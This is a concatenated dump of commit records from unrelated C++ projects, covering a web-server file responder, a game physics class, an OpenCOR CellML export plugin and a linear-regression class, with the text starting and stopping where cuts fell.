client\n\t\tchar buf[512];\n\t\tssize_t length;\n\t\twhile((length = read(fd, buf, sizeof(buf))) > 0)\n\t\t\tresponse->sendString(buf, length);\n\t}\n\n\tresponse->endResponse();\n\n\tclose(fd);\n\treturn NULL;\n}\n\nXVIWEB_RESPONDER(FileResponder);\n<commit_msg>Added support for index.html as a default document.<commit_after>\/*\n * Copyright (C) 2011 Josh A. Beam\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <iostream>\n#include <fcntl.h>\n#include <sys\/stat.h>\n#include <xviweb\/String.h>\n#include \"FileResponder.h\"\n\nusing namespace std;\n\nFileResponder::FileResponder()\n{\n\tm_rootDirectory = \".\";\n\n\t\/\/ add some standard MIME types\n\taddMimeType(\"text\/plain\", \"txt\");\n\taddMimeType(\"text\/html\", \"html\");\n\taddMimeType(\"text\/css\", \"css\");\n\taddMimeType(\"text\/javascript\", \"js\");\n\taddMimeType(\"image\/png\", \"png\");\n\taddMimeType(\"image\/jpg\", \"jpeg\");\n\taddMimeType(\"image\/jpg\", \"jpg\");\n\taddMimeType(\"image\/gif\", \"gif\");\n}\n\nFileResponder::~FileResponder()\n{\n}\n\nvoid\nFileResponder::addOption(const string &option, const string &value)\n{\n\tif(option == \"rootDirectory\") {\n\t\tm_rootDirectory = value;\n\t} else if(option == \"mimeType\") {\n\t\tvector <string> values = String::split(value, \";\");\n\t\tif(values.size() == 2) {\n\t\t\tm_mimeTypes.push_back(values[0]);\n\t\t\tm_mimeFileExtensions.push_back(string(\".\") + values[1]);\n\t\t}\n\t}\n}\n\nvoid\nFileResponder::addMimeType(const string &mimeType, const string &fileExtension)\n{\n\taddOption(\"mimeType\", mimeType + \";\" + fileExtension);\n}\n\nstring\nFileResponder::getMimeTypeForFile(const string &path) const\n{\n\t\/\/ find the type associated with the file extension\n\tfor(unsigned int i = 0; i < m_mimeTypes.size(); ++i) {\n\t\tif(String::endsWith(path, m_mimeFileExtensions[i], true))\n\t\t\treturn m_mimeTypes[i];\n\t}\n\n\treturn string(\"\");\n}\n\nstatic string\nmapPath(const string &path)\n{\n\t\/\/ not confident that the commented out code below\n\t\/\/ works right yet, so just return an empty string\n\t\/\/ if the requested path contains a ..\n\tif(path.find(\"..\") != string::npos)\n\t\treturn string(\"\");\n\n\tstring newPath = path;\n\n\t\/\/ replace back slashes with forward slashes\n\tsize_t tmp;\n\twhile((tmp = newPath.find('\\\\')) != string::npos)\n\t\tnewPath[tmp] = '\/';\n\n\t\/\/ replace double slashes with single slashes\n\twhile((tmp = newPath.find(\"\/\/\")) != string::npos)\n\t\tnewPath.erase(tmp, 1);\n\n#if 0\n\t\/\/ make sure .. isn't used to go above the root directory\n\tint depth = 0;\n\tfor(int i = 0; i < (int)newPath.length() - 3; ++i) {\n\t\tif(newPath[i] == '\/') {\n\t\t\tif(newPath[i+1] == '.' && newPath[i+2] == '.' && newPath[i+3] == '\/') {\n\t\t\t\tif(--depth < 0)\n\t\t\t\t\treturn string(\"\");\n\t\t\t\ti += 3;\n\t\t\t} else {\n\t\t\t\t++depth;\n\t\t\t}\n\t\t}\n\t}\n#endif\n\n\treturn newPath;\n}\n\nbool\nFileResponder::matchesRequest(const HttpRequest * \/*request*\/) const\n{\n\treturn true;\n}\n\nResponderContext *\nFileResponder::respond(const HttpRequest *request, HttpResponse *response)\n{\n\t\/\/ if the path returned by mapPath has a length\n\t\/\/ of zero, the path requested is invalid\n\tstring path = mapPath(request->getPath());\n\tif(path.length() == 0) {\n\t\tresponse->sendErrorResponse(403, \"Forbidden\", \"The provided file path is invalid.\");\n\t\treturn NULL;\n\t}\n\n\tpath = request->getVHostRoot() + path;\n\n\t\/\/ open the file and get its status\n\tstruct stat status;\n\tint fd = open(path.c_str(), O_RDONLY);\n\tif(fd == -1 || fstat(fd, &status) == -1) {\n\t\tif(fd != -1)\n\t\t\tclose(fd);\n\t\tresponse->sendErrorResponse(404, \"File Not Found\", \"The file that you requested does not exist.\");\n\t\treturn NULL;\n\t}\n\n\t\/\/ don't show directory listings\n\tif(S_ISDIR(status.st_mode)) {\n\t\tclose(fd);\n\n\t\t\/\/ see if an index.html exists in the directory;\n\t\t\/\/ if not, show an error message\n\t\tpath += \"\/index.html\";\n\t\tfd = open(path.c_str(), O_RDONLY);\n\t\tif(fd == -1 || fstat(fd, &status) == -1 || S_ISDIR(status.st_mode)) {\n\t\t\tif(fd != -1)\n\t\t\t\tclose(fd);\n\t\t\tresponse->sendErrorResponse(403, \"Forbidden\", \"You do not have access to directory listings.\");\n\t\t\treturn NULL;\n\t\t}\n\t}\n\n\t\/\/ get the MIME type for the file; if there's no\n\t\/\/ MIME type associated with the file extension,\n\t\/\/ just refuse to serve the file for security reasons\n\tstring contentType = getMimeTypeForFile(path);\n\tif(contentType.length() == 0) {\n\t\tclose(fd);\n\t\tresponse->sendErrorResponse(403, \"Forbidden\", \"You do not have access to files of this type.\");\n\t\treturn NULL;\n\t}\n\n\tresponse->setStatus(200, \"OK\");\n\tresponse->setContentType(contentType);\n\tresponse->setContentLength((int)status.st_size);\n\n\tif(request->getVerb() != \"HEAD\") {\n\t\t\/\/ read the file and send it to the client\n\t\tchar buf[512];\n\t\tssize_t length;\n\t\twhile((length = read(fd, buf, sizeof(buf))) > 0)\n\t\t\tresponse->sendString(buf, length);\n\t}\n\n\tresponse->endResponse();\n\n\tclose(fd);\n\treturn NULL;\n}\n\nXVIWEB_RESPONDER(FileResponder);\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ File: EventBus.hpp\n\/\/ Class: EventBus\n\/\/ Author: Jesper Persson and Sebastian Odbjer\n\/\/ All code is our own except where credited to others.\n\/\/\n\/\/\tCopyright (c) 2012 by Catch22. All Rights Reserved.\n\/\/ Date: \t\t02\/10-2012\n\/\/\n\/\/\tLicense: The following code is licensed under the Catch22-License\n\/\/\n<commit_msg>Implemented basic structure of chainsaw<commit_after>\/\/\n\/\/ File: EventBus.hpp\n\/\/ Class: EventBus\n\/\/ Author: Jesper Persson and Sebastian Odbjer\n\/\/ All code is our own except where credited to others.\n\/\/\n\/\/\tCopyright (c) 2012 by Catch22. All Rights Reserved.\n\/\/ Date: \t\t02\/10-2012\n\/\/\n\/\/\tLicense: The following code is licensed under the Catch22-License\n\/\/\n\n#include \"Chainsaw.hpp\"\n#include \"..\/..\/EventHandling\/EventBus.hpp\"\n#include \"..\/..\/EventHandling\/EEvent.hpp\"\n\nChainsaw::Chainsaw (b2Vec2 size, b2Vec2 position,b2Vec2 target, bool stationary, bool rotatable, PBodyType tag) :\n PBody(size, position, stationary, rotatable, tag)\n{\n m_target = target;\n m_targetReached = false;\n EventBus::getSharedInstance()->publishEvent(PBODY_CREATED_PHYSICS, this);\n}\n\nbool Chainsaw::targetReached()\n{\n return m_targetReached;\n}\n\nvoid Chainsaw::setTarget(b2Vec2 target)\n{\n m_target = target;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/==============================================================================\n\/\/ CellMLTools plugin\n\/\/==============================================================================\n\n#include \"cellmlfilemanager.h\"\n#include \"cellmlsupportplugin.h\"\n#include \"cellmltoolsplugin.h\"\n#include \"coreutils.h\"\n\n\/\/==============================================================================\n\n#include <QAction>\n#include <QFileInfo>\n#include <QMainWindow>\n#include <QMenu>\n#include <QMessageBox>\n\n\/\/==============================================================================\n\nnamespace OpenCOR {\nnamespace CellMLTools {\n\n\/\/==============================================================================\n\nPLUGININFO_FUNC CellMLToolsPluginInfo()\n{\n Descriptions descriptions;\n\n descriptions.insert(\"en\", QString::fromUtf8(\"a plugin to access various <a href=\\\"http:\/\/www.cellml.org\/\\\">CellML<\/a>-related tools.\"));\n descriptions.insert(\"fr\", QString::fromUtf8(\"une extension pour accéder à divers outils en rapport avec <a href=\\\"http:\/\/www.cellml.org\/\\\">CellML<\/a>.\"));\n\n return new PluginInfo(PluginInfo::InterfaceVersion001,\n PluginInfo::Miscellaneous,\n true,\n true,\n QStringList() << \"CellMLSupport\",\n descriptions);\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::initialize()\n{\n \/\/ Create our Tools | Export To menu\n\n mCellmlFileExportToMenu = newMenu(mMainWindow, \"CellmlFileExportTo\");\n\n \/\/ Create our different Tools | Export To actions, and add them to our\n \/\/ Tools | Export To menu\n\n mExportToCellml10Action = newAction(mMainWindow);\n mExportToCellml11Action = newAction(mMainWindow);\n\n mCellmlFileExportToMenu->addAction(mExportToCellml10Action);\n mCellmlFileExportToMenu->addAction(mExportToCellml11Action);\n\n \/\/ Some connections to handle our different Tools | Export To actions\n\n connect(mExportToCellml10Action, SIGNAL(triggered()),\n this, SLOT(exportToCellml10()));\n connect(mExportToCellml11Action, SIGNAL(triggered()),\n this, SLOT(exportToCellml11()));\n\n \/\/ Set our settings\n\n mGuiSettings->addMenuAction(GuiMenuActionSettings::Tools, mCellmlFileExportToMenu->menuAction());\n mGuiSettings->addMenuAction(GuiMenuActionSettings::Tools);\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::initializationsDone(const Plugins &pLoadedPlugins)\n{\n \/\/ Retrieve the file types supported by the CellMLSupport plugin\n\n mCellmlFileTypes = FileTypes();\n\n foreach (Plugin *loadedPlugin, pLoadedPlugins) {\n FileInterface *fileInterface = qobject_cast<FileInterface *>(loadedPlugin->instance());\n\n if (!loadedPlugin->name().compare(\"CellMLSupport\") && fileInterface) {\n \/\/ This is the CellMLSupport plugin and, as expected, it implements\n \/\/ the file interface, so retrieve the file types it supports\n\n mCellmlFileTypes = fileInterface->fileTypes();\n\n break;\n }\n }\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::runHelpCommand()\n{\n std::cout << \"Commands supported by CellMLTools:\" << std::endl;\n std::cout << \" * Display the commands supported by CellMLTools:\" << std::endl;\n std::cout << \" help\" << std::endl;\n std::cout << \" * Export <in_file> to <out_file> using <format> as the destination format:\" << std::endl;\n std::cout << \" export <in_file> <out_file> <format>\" << std::endl;\n std::cout << \" <format> can take one of the following values:\" << std::endl;\n std::cout << \" cellml_1_0: to export a CellML 1.1 file to CellML 1.0\" << std::endl;\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::runExportCommand(const QStringList &pArguments,\n int *pRes)\n{\n \/\/ Export an existing file to another file using a given format as the\n \/\/ destination format\n\n \/\/ Make sure that we have three arguments and that the given format is\n \/\/ valid\n\n bool validArguments = true;\n\n if (pArguments.count() != 3) {\n validArguments = false;\n } else {\n QString format = pArguments.at(2);\n\n if (format.compare(\"cellml_1_0\"))\n validArguments = false;\n }\n\n \/\/ Confirm that we have valid arguments\n\n if (!validArguments) {\n runHelpCommand();\n\n *pRes = -1;\n\n return;\n }\n\n \/\/ Make sure that the input file exists and that it is a valid non CellML\n \/\/ 1.0 file\n\n QString errorMessage = QString();\n QString inFileName = pArguments.at(0);\n CellMLSupport::CellmlFile *inCellmlFile = new CellMLSupport::CellmlFile(inFileName);\n\n if (!QFileInfo(inFileName).exists())\n errorMessage = \"Sorry, but the input file could not be found.\";\n else if (!CellMLSupport::isCellmlFile(inFileName))\n errorMessage = \"Sorry, but the input file is not a CellML file.\";\n else if (!inCellmlFile->load())\n errorMessage = \"Sorry, but a problem occurred while loading the input file.\";\n else if (!QString::fromStdWString(inCellmlFile->model()->cellmlVersion()).compare(CellMLSupport::Cellml_1_0))\n errorMessage = \"Sorry, but the input file is already a CellML 1.0 file.\";\n\n \/\/ Our input file is a valid non CellML 1.0 file, so we can export it to\n \/\/ CellML 1.0\n\n if ( errorMessage.isEmpty()\n && !inCellmlFile->exportTo(pArguments.at(1), CellMLSupport::CellmlFile::Cellml_1_0))\n errorMessage = \"Sorry, but a problem occurred while exporting the input file.\";\n\n delete inCellmlFile;\n\n \/\/ Check whether something wrong happened at some point\n\n if (!errorMessage.isEmpty()) {\n std::cout << qPrintable(errorMessage) << std::endl;\n\n *pRes = -1;\n }\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::runCliCommand(const QString &pCommand,\n const QStringList &pArguments, int *pRes)\n{\n \/\/ Run the given CLI command\n\n *pRes = 0;\n\n if (!pCommand.compare(\"help\")) {\n \/\/ Display the commands we support\n\n runHelpCommand();\n } else if (!pCommand.compare(\"export\")) {\n \/\/ Export a file from one format to another\n\n runExportCommand(pArguments, pRes);\n } else {\n \/\/ Not a CLI command that we can run, so...\n\n runHelpCommand();\n\n *pRes = -1;\n }\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::updateGui(Plugin *pViewPlugin, const QString &pFileName)\n{\n \/\/ Enable\/disable and show\/hide our tools in case we are dealing with a\n \/\/ CellML-based view plugin\n\n bool toolsVisible = pViewPlugin?\n pViewPlugin->info()->fullDependencies().contains(\"CellMLSupport\"):\n false;\n CellMLSupport::CellmlFile *cellmlFile = CellMLSupport::CellmlFileManager::instance()->cellmlFile(pFileName);\n\n mCellmlFileExportToMenu->menuAction()->setEnabled(toolsVisible);\n mCellmlFileExportToMenu->menuAction()->setVisible(toolsVisible);\n\n mExportToCellml10Action->setEnabled( toolsVisible && cellmlFile\n && QString::fromStdWString(cellmlFile->model()->cellmlVersion()).compare(CellMLSupport::Cellml_1_0));\n mExportToCellml10Action->setVisible(toolsVisible);\n\n\/*---GRY---\n mExportToCellml11Action->setEnabled( toolsVisible && cellmlFile\n && QString::fromStdWString(cellmlFile->model()->cellmlVersion()).compare(CellMLSupport::Cellml_1_1));\n mExportToCellml11Action->setVisible(toolsVisible);\n*\/\n\/\/---GRY--- BEGIN\n\/\/ THIS IS UNTIL EXPORTING TO CellML 1.1 IS FULLY SUPPORTED...\nmExportToCellml11Action->setEnabled(false);\nmExportToCellml11Action->setVisible(false);\n\/\/---GRY--- END\n\n \/\/ Keep track of the file name\n\n mFileName = pFileName;\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::retranslateUi()\n{\n \/\/ Retranslate our different Tools actions\n\n retranslateMenu(mCellmlFileExportToMenu, tr(\"CellML File Export To\"));\n\n retranslateAction(mExportToCellml10Action, tr(\"CellML 1.0...\"), tr(\"Export the CellML file to CellML 1.0\"));\n retranslateAction(mExportToCellml11Action, tr(\"CellML 1.1...\"), tr(\"Export the CellML file to CellML 1.1\"));\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::exportTo(const CellMLSupport::CellmlFile::Format &pFormat)\n{\n \/\/ Ask for the name of the file which will contain the export\n\n QString format;\n QString fileTypes;\n\n switch (pFormat) {\n case CellMLSupport::CellmlFile::Cellml_1_1:\n default: \/\/ CellMLSupport::CellmlFile::Cellml_1_0\n if (pFormat == CellMLSupport::CellmlFile::Cellml_1_0)\n format = \"CellML 1.0\";\n else\n format = \"CellML 1.1\";\n\n foreach (const FileType &fileType, mCellmlFileTypes) {\n if (!fileTypes.isEmpty())\n fileTypes += \";;\";\n\n fileTypes += fileType.description()+\" (*.\"+fileType.fileExtension()+\")\";\n }\n }\n\n QString fileName = Core::getSaveFileName(tr(\"CellML file export to %1\").arg(format), mFileName, fileTypes);\n\n \/\/ Make sure that we have a file name or leave, if not\n\n if (fileName.isEmpty())\n return;\n\n \/\/ Now that we have a file name, we can do the eport itself\n\n CellMLSupport::CellmlFile *cellmlFile = CellMLSupport::CellmlFileManager::instance()->cellmlFile(mFileName);\n\n if (!cellmlFile->exportTo(fileName, pFormat)) {\n CellMLSupport::CellmlFileIssues issues = cellmlFile->issues();\n QString errorMessage = QString();\n\n if (issues.count())\n errorMessage = \" (\"+issues.first().message()+\")\";\n \/\/ Note: if there are 'issues', then there can be only one of them\n \/\/ following a CellML export...\n\n QMessageBox::warning(mMainWindow, tr(\"CellML file export to %1\").arg(format),\n tr(\"Sorry, but <strong>%1<\/strong> could not be exported to <strong>%2<\/strong>%3.\").arg(fileName, format, errorMessage));\n }\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::exportToCellml10()\n{\n \/\/ Export the current file to CellML 1.0\n\n exportTo(CellMLSupport::CellmlFile::Cellml_1_0);\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::exportToCellml11()\n{\n \/\/ Export the current file to CellML 1.1\n\n exportTo(CellMLSupport::CellmlFile::Cellml_1_1);\n}\n\n\/\/==============================================================================\n\n} \/\/ namespace CellMLSupport\n} \/\/ namespace OpenCOR\n\n\/\/==============================================================================\n\/\/ End of file\n\/\/==============================================================================\n<commit_msg>CellMLTools plugin: enable\/disable our CellML File Export menu based depending on whether some exports are enabled.<commit_after>\/\/==============================================================================\n\/\/ CellMLTools plugin\n\/\/==============================================================================\n\n#include \"cellmlfilemanager.h\"\n#include \"cellmlsupportplugin.h\"\n#include \"cellmltoolsplugin.h\"\n#include \"coreutils.h\"\n\n\/\/==============================================================================\n\n#include <QAction>\n#include <QFileInfo>\n#include <QMainWindow>\n#include <QMenu>\n#include <QMessageBox>\n\n\/\/==============================================================================\n\nnamespace OpenCOR {\nnamespace CellMLTools {\n\n\/\/==============================================================================\n\nPLUGININFO_FUNC CellMLToolsPluginInfo()\n{\n Descriptions descriptions;\n\n descriptions.insert(\"en\", QString::fromUtf8(\"a plugin to access various <a href=\\\"http:\/\/www.cellml.org\/\\\">CellML<\/a>-related tools.\"));\n descriptions.insert(\"fr\", QString::fromUtf8(\"une extension pour accéder à divers outils en rapport avec <a href=\\\"http:\/\/www.cellml.org\/\\\">CellML<\/a>.\"));\n\n return new PluginInfo(PluginInfo::InterfaceVersion001,\n PluginInfo::Miscellaneous,\n true,\n true,\n QStringList() << \"CellMLSupport\",\n descriptions);\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::initialize()\n{\n \/\/ Create our Tools | Export To menu\n\n mCellmlFileExportToMenu = newMenu(mMainWindow, \"CellmlFileExportTo\");\n\n \/\/ Create our different Tools | Export To actions, and add them to our\n \/\/ Tools | Export To menu\n\n mExportToCellml10Action = newAction(mMainWindow);\n mExportToCellml11Action = newAction(mMainWindow);\n\n mCellmlFileExportToMenu->addAction(mExportToCellml10Action);\n mCellmlFileExportToMenu->addAction(mExportToCellml11Action);\n\n \/\/ Some connections to handle our different Tools | Export To actions\n\n connect(mExportToCellml10Action, SIGNAL(triggered()),\n this, SLOT(exportToCellml10()));\n connect(mExportToCellml11Action, SIGNAL(triggered()),\n this, SLOT(exportToCellml11()));\n\n \/\/ Set our settings\n\n mGuiSettings->addMenuAction(GuiMenuActionSettings::Tools, mCellmlFileExportToMenu->menuAction());\n mGuiSettings->addMenuAction(GuiMenuActionSettings::Tools);\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::initializationsDone(const Plugins &pLoadedPlugins)\n{\n \/\/ Retrieve the file types supported by the CellMLSupport plugin\n\n mCellmlFileTypes = FileTypes();\n\n foreach (Plugin *loadedPlugin, pLoadedPlugins) {\n FileInterface *fileInterface = qobject_cast<FileInterface *>(loadedPlugin->instance());\n\n if (!loadedPlugin->name().compare(\"CellMLSupport\") && fileInterface) {\n \/\/ This is the CellMLSupport plugin and, as expected, it implements\n \/\/ the file interface, so retrieve the file types it supports\n\n mCellmlFileTypes = fileInterface->fileTypes();\n\n break;\n }\n }\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::runHelpCommand()\n{\n std::cout << \"Commands supported by CellMLTools:\" << std::endl;\n std::cout << \" * Display the commands supported by CellMLTools:\" << std::endl;\n std::cout << \" help\" << std::endl;\n std::cout << \" * Export <in_file> to <out_file> using <format> as the destination format:\" << std::endl;\n std::cout << \" export <in_file> <out_file> <format>\" << std::endl;\n std::cout << \" <format> can take one of the following values:\" << std::endl;\n std::cout << \" cellml_1_0: to export a CellML 1.1 file to CellML 1.0\" << std::endl;\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::runExportCommand(const QStringList &pArguments,\n int *pRes)\n{\n \/\/ Export an existing file to another file using a given format as the\n \/\/ destination format\n\n \/\/ Make sure that we have three arguments and that the given format is\n \/\/ valid\n\n bool validArguments = true;\n\n if (pArguments.count() != 3) {\n validArguments = false;\n } else {\n QString format = pArguments.at(2);\n\n if (format.compare(\"cellml_1_0\"))\n validArguments = false;\n }\n\n \/\/ Confirm that we have valid arguments\n\n if (!validArguments) {\n runHelpCommand();\n\n *pRes = -1;\n\n return;\n }\n\n \/\/ Make sure that the input file exists and that it is a valid non CellML\n \/\/ 1.0 file\n\n QString errorMessage = QString();\n QString inFileName = pArguments.at(0);\n CellMLSupport::CellmlFile *inCellmlFile = new CellMLSupport::CellmlFile(inFileName);\n\n if (!QFileInfo(inFileName).exists())\n errorMessage = \"Sorry, but the input file could not be found.\";\n else if (!CellMLSupport::isCellmlFile(inFileName))\n errorMessage = \"Sorry, but the input file is not a CellML file.\";\n else if (!inCellmlFile->load())\n errorMessage = \"Sorry, but a problem occurred while loading the input file.\";\n else if (!QString::fromStdWString(inCellmlFile->model()->cellmlVersion()).compare(CellMLSupport::Cellml_1_0))\n errorMessage = \"Sorry, but the input file is already a CellML 1.0 file.\";\n\n \/\/ Our input file is a valid non CellML 1.0 file, so we can export it to\n \/\/ CellML 1.0\n\n if ( errorMessage.isEmpty()\n && !inCellmlFile->exportTo(pArguments.at(1), CellMLSupport::CellmlFile::Cellml_1_0))\n errorMessage = \"Sorry, but a problem occurred while exporting the input file.\";\n\n delete inCellmlFile;\n\n \/\/ Check whether something wrong happened at some point\n\n if (!errorMessage.isEmpty()) {\n std::cout << qPrintable(errorMessage) << std::endl;\n\n *pRes = -1;\n }\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::runCliCommand(const QString &pCommand,\n const QStringList &pArguments, int *pRes)\n{\n \/\/ Run the given CLI command\n\n *pRes = 0;\n\n if (!pCommand.compare(\"help\")) {\n \/\/ Display the commands we support\n\n runHelpCommand();\n } else if (!pCommand.compare(\"export\")) {\n \/\/ Export a file from one format to another\n\n runExportCommand(pArguments, pRes);\n } else {\n \/\/ Not a CLI command that we can run, so...\n\n runHelpCommand();\n\n *pRes = -1;\n }\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::updateGui(Plugin *pViewPlugin, const QString &pFileName)\n{\n \/\/ Enable\/disable and show\/hide our tools in case we are dealing with a\n \/\/ CellML-based view plugin\n\n bool toolsVisible = pViewPlugin?\n pViewPlugin->info()->fullDependencies().contains(\"CellMLSupport\"):\n false;\n CellMLSupport::CellmlFile *cellmlFile = CellMLSupport::CellmlFileManager::instance()->cellmlFile(pFileName);\n\n mExportToCellml10Action->setEnabled( toolsVisible && cellmlFile\n && QString::fromStdWString(cellmlFile->model()->cellmlVersion()).compare(CellMLSupport::Cellml_1_0));\n mExportToCellml10Action->setVisible(toolsVisible);\n\n\/*---GRY---\n mExportToCellml11Action->setEnabled( toolsVisible && cellmlFile\n && QString::fromStdWString(cellmlFile->model()->cellmlVersion()).compare(CellMLSupport::Cellml_1_1));\n mExportToCellml11Action->setVisible(toolsVisible);\n*\/\n\/\/---GRY--- BEGIN\n\/\/ THIS IS UNTIL EXPORTING TO CellML 1.1 IS FULLY SUPPORTED...\nmExportToCellml11Action->setEnabled(false);\nmExportToCellml11Action->setVisible(false);\n\/\/---GRY--- END\n\n bool menuEnabled = true;\n\n foreach (QAction *action, mCellmlFileExportToMenu->actions())\n if (!action->isEnabled()) {\n menuEnabled = false;\n\n break;\n }\n\n mCellmlFileExportToMenu->menuAction()->setEnabled(menuEnabled);\n mCellmlFileExportToMenu->menuAction()->setVisible(toolsVisible);\n\n \/\/ Keep track of the file name\n\n mFileName = pFileName;\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::retranslateUi()\n{\n \/\/ Retranslate our different Tools actions\n\n retranslateMenu(mCellmlFileExportToMenu, tr(\"CellML File Export To\"));\n\n retranslateAction(mExportToCellml10Action, tr(\"CellML 1.0...\"), tr(\"Export the CellML file to CellML 1.0\"));\n retranslateAction(mExportToCellml11Action, tr(\"CellML 1.1...\"), tr(\"Export the CellML file to CellML 1.1\"));\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::exportTo(const CellMLSupport::CellmlFile::Format &pFormat)\n{\n \/\/ Ask for the name of the file which will contain the export\n\n QString format;\n QString fileTypes;\n\n switch (pFormat) {\n case CellMLSupport::CellmlFile::Cellml_1_1:\n default: \/\/ CellMLSupport::CellmlFile::Cellml_1_0\n if (pFormat == CellMLSupport::CellmlFile::Cellml_1_0)\n format = \"CellML 1.0\";\n else\n format = \"CellML 1.1\";\n\n foreach (const FileType &fileType, mCellmlFileTypes) {\n if (!fileTypes.isEmpty())\n fileTypes += \";;\";\n\n fileTypes += fileType.description()+\" (*.\"+fileType.fileExtension()+\")\";\n }\n }\n\n QString fileName = Core::getSaveFileName(tr(\"CellML file export to %1\").arg(format), mFileName, fileTypes);\n\n \/\/ Make sure that we have a file name or leave, if not\n\n if (fileName.isEmpty())\n return;\n\n \/\/ Now that we have a file name, we can do the eport itself\n\n CellMLSupport::CellmlFile *cellmlFile = CellMLSupport::CellmlFileManager::instance()->cellmlFile(mFileName);\n\n if (!cellmlFile->exportTo(fileName, pFormat)) {\n CellMLSupport::CellmlFileIssues issues = cellmlFile->issues();\n QString errorMessage = QString();\n\n if (issues.count())\n errorMessage = \" (\"+issues.first().message()+\")\";\n \/\/ Note: if there are 'issues', then there can be only one of them\n \/\/ following a CellML export...\n\n QMessageBox::warning(mMainWindow, tr(\"CellML file export to %1\").arg(format),\n tr(\"Sorry, but <strong>%1<\/strong> could not be exported to <strong>%2<\/strong>%3.\").arg(fileName, format, errorMessage));\n }\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::exportToCellml10()\n{\n \/\/ Export the current file to CellML 1.0\n\n exportTo(CellMLSupport::CellmlFile::Cellml_1_0);\n}\n\n\/\/==============================================================================\n\nvoid CellMLToolsPlugin::exportToCellml11()\n{\n \/\/ Export the current file to CellML 1.1\n\n exportTo(CellMLSupport::CellmlFile::Cellml_1_1);\n}\n\n\/\/==============================================================================\n\n} \/\/ namespace CellMLSupport\n} \/\/ namespace OpenCOR\n\n\/\/==============================================================================\n\/\/ End of file\n\/\/==============================================================================\n<|endoftext|>"} {"text":"<commit_before>#include \"LinearRegression.h\"\n#include <armadillo>\n#include <iostream>\n\nLinearRegression::LinearRegression(arma::mat *x, arma::vec *y, arma::uword m)\n : y{y}, m{m}, trained{false} {\n \/\/Create Bias Layer and append at the end of x\n arma::mat bias = ones<arma::mat>(m,2);\n this->x = x->insert(x->n_cols ,bias);\n }\n\nLinearRegression::~LinearRegression() {\n delete x;\n delete y;\n delete w;\n}\n\nvoid LinearRegression::AddData(double x[], double y[]) {\n \/\/ TODO:\n delete this->w;\n this->trained = false;\n}\n\nvoid LinearRegression::Train() {\n arma::mat xtx = (this->x->t() * (*this->x));\n \/\/ Check if xtx is full-rank matrix\n if (rank(xtx) == this->m) {\n this->w = new arma::mat(inv(xtx) * this->x->t() * *y);\n this->trained = true;\n } else {\n std::cerr << \"you have to regularize your data set\" << std::endl;\n }\n}\n\ndouble LinearRegression::Predict(arma::vec *x) {\n if (!this->trained) {\n std::cerr << \"This model hasn't been trained\" << std::endl;\n return 0.0;\n }\n return ((*this->w) * (*x)).eval()(0, 0);\n}\n<commit_msg>fixed typo<commit_after>#include \"LinearRegression.h\"\n#include <armadillo>\n#include <iostream>\n\nLinearRegression::LinearRegression(arma::mat *x, arma::vec *y, arma::uword m)\n : y{y}, m{m}, trained{false} {\n \/\/Create Bias Layer and append at the end of x\n arma::mat bias = arma::ones<arma::mat>(m,2);\n this->x = x->arma::insert_cols(x->n_cols, bias);\n }\n\nLinearRegression::~LinearRegression() {\n delete x;\n delete y;\n delete w;\n}\n\nvoid LinearRegression::AddData(double x[], double y[]) {\n \/\/ TODO:\n delete this->w;\n this->trained = false;\n}\n\nvoid LinearRegression::Train() {\n arma::mat xtx = (this->x->t() * (*this->x));\n \/\/ Check if xtx is full-rank matrix\n if (rank(xtx) == this->m) {\n this->w = new arma::mat(inv(xtx) * this->x->t() * *y);\n this->trained = true;\n } else {\n std::cerr << \"you have to regularize your data set\" << std::endl;\n }\n}\n\ndouble LinearRegression::Predict(arma::vec *x) {\n if (!this->trained) {\n std::cerr << \"This model hasn't been trained\" << std::endl;\n return 0.0;\n }\n return ((*this->w) * (*x)).eval()(0, 0);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research 